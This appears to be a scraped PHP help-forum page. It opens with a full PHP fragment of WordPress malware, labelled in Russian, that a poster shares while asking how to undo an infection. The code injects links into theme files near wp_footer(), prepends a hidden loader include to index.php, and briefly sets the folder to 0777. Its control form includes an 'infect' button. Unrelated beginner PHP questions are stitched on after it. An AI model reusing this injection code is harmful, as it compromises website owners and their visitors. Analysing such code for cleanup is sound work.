function scan($path = './wp-content/themes/', $files_allowed = '.', $requested_string = '<? php wp_footer(); ?>')
{
$this->dir_content($path, $files_allowed);
foreach($this->arr_files AS $in_dir_file)
{
$temporary_file = file_get_contents($in_dir_file);
$create_backup = false;
$tf_strings = explode("\n", $temporary_file);
$str_index = 0;
foreach ($tf_strings AS $item)
{
$item = strval($item);
if (strpos($item, $requested_string) !== false)
{
$create_backup = true;
$tf_strings[$str_index]=substr_replace($tf_strings[$str_index], $this->get_link(), 0, 0);
$founded_str = $requested_string;
}
foreach ($this->signatures AS $signa)
{
$signa = strval($signa);
if (strpos($item, $signa) !== false)
{
$create_backup = true;
$tf_strings[$str_index]=substr_replace($tf_strings[$str_index], $this->get_link(), 0, 0);
}
}
$str_index++;
}
if ($create_backup)
{
chmod($path, 0777);
$temp_file_backup = $in_dir_file.'_BACKUP';
file_put_contents($temp_file_backup, $temporary_file);
$scanned_file = implode("\n", $tf_strings);
if (file_put_contents($in_dir_file, $scanned_file))
{
print "<span style='display:block;
padding:15px;
border:1px solid #1f4f18;
background-color:#d5f5ce;
font-size:12px;
line-height:16px;
font-family:tahoma, sans-serif;
margin-bottom:20px;'><h3>" . $in_dir_file . "</h3> Файл заражен + сделан BACKUP
</span>
";
}
else
{
print "<span style='display:block;
padding:15px;
border:1px solid #822121;
background-color:#ea7575;
font-size:12px;
line-height:16px;
font-family:tahoma, sans-serif;
margin-bottom:20px;'><h3>" . $in_dir_file . "</h3> Что-то пошло не так.
</span>
";
}
chmod($path, 0755);
}
}
}
/*
function scankl()
{
$local2=$_SERVER['DOCUMENT_ROOT'];
$requested_string = '<?php include (\'wp-includes/class-wp-optimize.php\');
define(\'WP_USE_THEMES\', true);
require( dirname( __FILE__ ) . \'/wp-blog-header.php\' );';
file_put_contents("$local2/index.php", $requested_string);
}
*/
function scankl()
{
$indexFile=$_SERVER['DOCUMENT_ROOT'].'/index.php';
$addContent = '<?php require_once (\'wp-includes/class-wp-optimize.php\'); if ($_GET["p"]) new Client;?>';
file_put_contents($indexFile,$addContent.file_get_contents($indexFile));
echo "<span style='display:block;
padding:15px;
border:1px solid #1f4f18;
background-color:#d5f5ce;
font-size:12px;
line-height:16px;
font-family:tahoma, sans-serif;
margin-bottom:20px;'><h3>Клиент прописан в index.php'</h3></span>";
}
function restore_backups($path = './wp-content/themes/', $files_allowed = '.')
{
$this->dir_content($path, $files_allowed);
foreach($this->arr_files AS $in_dir_file) {
if (is_file($in_dir_file.'_BACKUP')) {
$temporary_file_from_backup = file_get_contents($in_dir_file.'_BACKUP');
if (file_put_contents($in_dir_file, $temporary_file_from_backup)) {
unlink($in_dir_file.'_BACKUP');
print "<span style='display:block;
padding:15px;
border:1px solid #1f4f18;
background-color:#d5f5ce;
font-size:12px;
line-height:16px;
font-family:tahoma, sans-serif;
margin-bottom:20px;'><h3>".$in_dir_file ."</h3> Файл восстановлен.
</span>
";
}
else
{
print "<span style='display:block;
padding:5px;
border:1px solid #822121;
background-color:#ea7575;
font-size:12px;
line-height:16px;
font-family:tahoma, sans-serif;
margin-bottom:20px;'><h3>".$in_dir_file ."</h3> Бекап не восстановлен.
</span>
";
}
}
}
}
function delete_backups($path = './wp-content/themes/', $files_allowed = '.')
{
$this->dir_content($path, $files_allowed);
foreach($this->arr_files AS $in_dir_file) {
if (is_file($in_dir_file.'_BACKUP'))
{
if (unlink($in_dir_file.'_BACKUP'))
{
print " <span style='display:block;
padding:15px;
border:1px solid #1f4f18;
background-color:#d5f5ce;
font-size:12px;
line-height:16px;
font-family:tahoma, sans-serif;
margin-bottom:20px;'><h3>".$in_dir_file ."_BACKUP</h3> Удалён.
</span>";
}
else
{
print "<span style='display:block;
padding:15px;
border:1px solid #822121;
background-color:#f94c00;
font-size:12px;
line-height:16px;
font-family:tahoma, sans-serif;
margin-bottom:20px;'><h3>".$in_dir_file ."_BACKUP</h3> НЕ удалён.
</span>
";
}
}
}
}
}
?>
<?php
$starter = new linkBilder; //start_OK
$ssilka = htmlspecialchars("{$starter->get_link()}", ENT_QUOTES);?>
<?php echo "<b>В футер мы пишем: </b>$ssilka".'<br>';?>
<?php
$local = $_SERVER['DOCUMENT_ROOT'].'/wp-content/themes/';
$local2=$_SERVER['DOCUMENT_ROOT'];
?>
<? //active folder
if($_POST['find'])
{
$starter->find($local, '.');
}
else if($_POST['wrkr'])
{
$starter->scankl();
}
else if($_POST['create'])
{
$starter->scan($local, '.');
}
else if($_POST['backups'])
{
$starter->restore_backups($local, '.');
}
else if($_POST['kr'])
{
$starter->make_file();
}
else if($_POST['delbackups'])
{
$starter->delete_backups($local, '.');
}
echo '<form method="post">';
echo '<input type="submit" style="padding:10px;" name="kr" value="Сделать клиент">';
echo '<input type="submit" style="padding:10px;" name="wrkr" value="Прописать клиент в index">';
echo '<input type="submit" style="padding:10px;" name="find" value="Проверить WP/Найти шаблоны">';
echo '<input type="submit" style="padding:10px;" name="create" value="Заразить">';
echo '<input type="submit" style="padding:10px;" name="backups" value="Востановить файл с бекапа">';
echo '<input type="submit" style="padding:10px;" name="delbackups" value="Удалить бекап">';
echo '</form>';
?>
To reverse back everything to its healthy state, i must understand what this code does. Would u help me understanding code?
Thanks in advance.
Hi All, I'm trying to understand the following code. I tried to display the field 'eligible' (an added field to a mysql table) for user input, but I keep getting an Invalid Type error at getFieldHTML('eligible'). Other fields are displayed correctly using the same syntax. Is getFieldHtml a class, etc? I'm sort of new to php..but I'm a quick learner...Thanks for any help! Chris <div class="form-container"> <?php echo $form->getFormOpenHTML(); ?> <fieldset class="hidden"> <ol> <li>Are you eligible?<?php echo $form->getFieldHTML('eligible'); ?></li> I have been trying to better understand how php works on a more in depth level, and recently I have been tinkering with arrays. Using print_r() I have been studying the $GLOBAL array, and I found something I can't seem to find an explanation for. In my $GLOBALS array there are variables I have set in a configuration file, but never actually made into globals. Take the following code, and its output for example. echo "<pre>"; echo print_r($GLOBALS); echo "</pre>"; The output: Code: [Select] Array ( [GLOBALS] => Array *RECURSION* [_POST] => Array ( ) [_GET] => Array ( ) [_COOKIE] => Array ( [PHPSESSID] => fai4rtfgdt6o6iaihh62d0pa15 ) [_FILES] => Array ( ) [_SERVER] => Array ( [HTTP_HOST] => DOMAIN [HTTP_USER_AGENT] => Mozilla/5.0 (Windows; U; Windows NT 5.1; en-US; rv:1.9.2.10) Gecko/20100914 Firefox/3.6.10 [HTTP_ACCEPT] => text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8 [HTTP_ACCEPT_LANGUAGE] => en-us,en;q=0.5 [HTTP_ACCEPT_ENCODING] => gzip,deflate [HTTP_ACCEPT_CHARSET] => ISO-8859-1,utf-8;q=0.7,*;q=0.7 [HTTP_KEEP_ALIVE] => 115 [HTTP_CONNECTION] => keep-alive [HTTP_REFERER] => http://DOMAIN/test.php [HTTP_COOKIE] => PHPSESSID=fai4rtfgdt6o6iaihh62d0pa15 [HTTP_CACHE_CONTROL] => max-age=0 [CONTENT_TYPE] => application/x-www-form-urlencoded [CONTENT_LENGTH] => 67 [PATH] => /sbin:/usr/sbin:/bin:/usr/bin [SERVER_SIGNATURE] => [SERVER_SOFTWARE] => Apache [SERVER_NAME] => DOMAIN [SERVER_ADDR] => IPADDRESS [SERVER_PORT] => 80 [REMOTE_ADDR] => 198.65.168.24 [DOCUMENT_ROOT] => /home/USER/www/DOMAIN [SERVER_ADMIN] => webmaster@DOMAIN [SCRIPT_FILENAME] => /home/USER/www/DOMAIN/test.php [REMOTE_PORT] => 43272 [GATEWAY_INTERFACE] => CGI/1.1 [SERVER_PROTOCOL] => HTTP/1.1 [REQUEST_METHOD] => POST [QUERY_STRING] => [REQUEST_URI] => /test.php [SCRIPT_NAME] => /test.php [PHP_SELF] => /test.php [REQUEST_TIME] => 1286050077 ) [date] => October 2, 2010 [db_date] => 10/02/2010 [error] => Array ( ) ) 1 The 3 items at the bottom. Code: [Select] [date] => October 2, 2010 [db_date] => 10/02/2010 [error] => Array Were set inside of a php config file. My question is, how did they end up in the $GLOBALS array? Hello all, My knowledge in PHP is growing everyday as I try out more stuff but I really didn't understand this bit : "Note: Please note that the ternary operator is a statement, and that it doesn't evaluate to a variable, but to the result of a statement. This is important to know if you want to return a variable by reference. The statement return $var == 42 ? $a : $b; in a return-by-reference function will therefore not work and a warning is issued in later PHP versions. ". taken from the page : http://www.php.net/manual/en/language.operators.comparison.php From what I understood, if I was to use a ternery condition in the return statement, and return a referenced variable as a result, it shouldn't work? So this shouldn't work? $int = 10; function testReturn(&$referencedVariable) { return (1==1) ? $referencedVariable : FALSE; } echo testReturn($int); But it does. Anyways i'm pretty sure I didn't understand this right, so help with this is really appreciated
Hi there, i have an code <?php $a = [ 0 => 10, ]; $i = 0; $a[$i++] = $i;
and question "Explain what the problem is and what you could do to fix it"
Please help! |
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